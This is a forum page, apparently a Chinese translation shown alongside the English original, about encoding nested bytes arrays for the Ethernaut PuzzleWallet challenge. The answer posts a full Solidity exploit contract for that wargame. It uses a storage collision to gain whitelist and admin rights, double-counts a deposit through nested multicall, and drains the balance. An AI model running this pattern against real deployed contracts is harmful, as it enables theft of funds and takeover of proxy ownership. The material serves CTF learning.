编码一个字节[]用于encodeWithSignature

发布于 2025-01-23 21:03:06 字数 868 浏览 0 评论 0原文

作为Ethernaut的Puzzzle Wallet挑战的一部分,我希望将这种外部合同的方法称为我的合同:

function multicall(bytes[] calldata data) external payable onlyWhitelisted

更具体地说,我试图打电话给递归电话。

         multidata
     ________|________
    |                 |
multidata          multidata
    |                 |
deposit            deposit

我正在使用abi.codewithsignature方法,但看起来坚固性不允许在此处未实现嵌套的动态数组。

bytes memory data = abi.encode([bytes4(keccak256('deposit()'))]);
bytes memory singleMulticallData = abi.encodePacked(bytes4(keccak256('multicall(bytes[])')), data);
        
(bool successDeposit, ) = address(proxy).call(abi.encodeWithSignature("multicall(bytes[])", [singleMulticallData, singleMulticallData]));
require(successDeposit, "deposit not successful");

关于如何创建一个字节数组的任何想法会包含字节吗?

As part of the PuzzleWallet challenge from Ethernaut, I am looking to call this method of an external contract from my contract:

function multicall(bytes[] calldata data) external payable onlyWhitelisted

More specifically, I am trying to call with a recursive call.

         multidata
     ________|________
    |                 |
multidata          multidata
    |                 |
deposit            deposit

I am using abi.encodeWithSignature method but it looks like Solidity doesn't allow Nested dynamic arrays not implemented here.:

bytes memory data = abi.encode([bytes4(keccak256('deposit()'))]);
bytes memory singleMulticallData = abi.encodePacked(bytes4(keccak256('multicall(bytes[])')), data);
        
(bool successDeposit, ) = address(proxy).call(abi.encodeWithSignature("multicall(bytes[])", [singleMulticallData, singleMulticallData]));
require(successDeposit, "deposit not successful");

Any idea on how you could create an array of bytes which would contain bytes?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

殤城〤 2025-01-30 21:03:06
  1. 添加“ pragma实验性abiencoderv2;”。

2.以下是我的参考解决方案。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "./PuzzleWallet.sol";

contract Exploit{
    PuzzleProxy public proxy;

    constructor(PuzzleProxy _proxy) public payable{
        require(msg.value == 0.001 ether, "incorrect msg.value");
        proxy = _proxy;
        proxy.proposeNewAdmin(address(this));

        PuzzleWallet wallet = PuzzleWallet(address(proxy));
        wallet.addToWhitelist(address(this));
     
        bytes memory data = abi.encodeWithSelector(PuzzleWallet.deposit.selector);

        bytes[] memory data1 = new bytes[](1);
        data1[0] = data;

        bytes memory data2 = abi.encodeWithSelector(PuzzleWallet.multicall.selector, data1);

        bytes[] memory data3 = new bytes[](2);
        data3[0] = data2;
        data3[1] = data2;
        

        wallet.multicall{value:0.001 ether}(data3);  
        uint256 balance  = wallet.balances(address(this));
        require(balance == 0.002 ether, "unexpected balance");

        wallet.execute(msg.sender, balance, new bytes(0));
        wallet.setMaxBalance(uint256(uint160(address(this))));

        require(proxy.admin() == address(this), "fail to exploit");
    }
}
  1. Add "pragma experimental ABIEncoderV2;".

2.the follow is my solution For your reference.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "./PuzzleWallet.sol";

contract Exploit{
    PuzzleProxy public proxy;

    constructor(PuzzleProxy _proxy) public payable{
        require(msg.value == 0.001 ether, "incorrect msg.value");
        proxy = _proxy;
        proxy.proposeNewAdmin(address(this));

        PuzzleWallet wallet = PuzzleWallet(address(proxy));
        wallet.addToWhitelist(address(this));
     
        bytes memory data = abi.encodeWithSelector(PuzzleWallet.deposit.selector);

        bytes[] memory data1 = new bytes[](1);
        data1[0] = data;

        bytes memory data2 = abi.encodeWithSelector(PuzzleWallet.multicall.selector, data1);

        bytes[] memory data3 = new bytes[](2);
        data3[0] = data2;
        data3[1] = data2;
        

        wallet.multicall{value:0.001 ether}(data3);  
        uint256 balance  = wallet.balances(address(this));
        require(balance == 0.002 ether, "unexpected balance");

        wallet.execute(msg.sender, balance, new bytes(0));
        wallet.setMaxBalance(uint256(uint160(address(this))));

        require(proxy.admin() == address(this), "fail to exploit");
    }
}
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文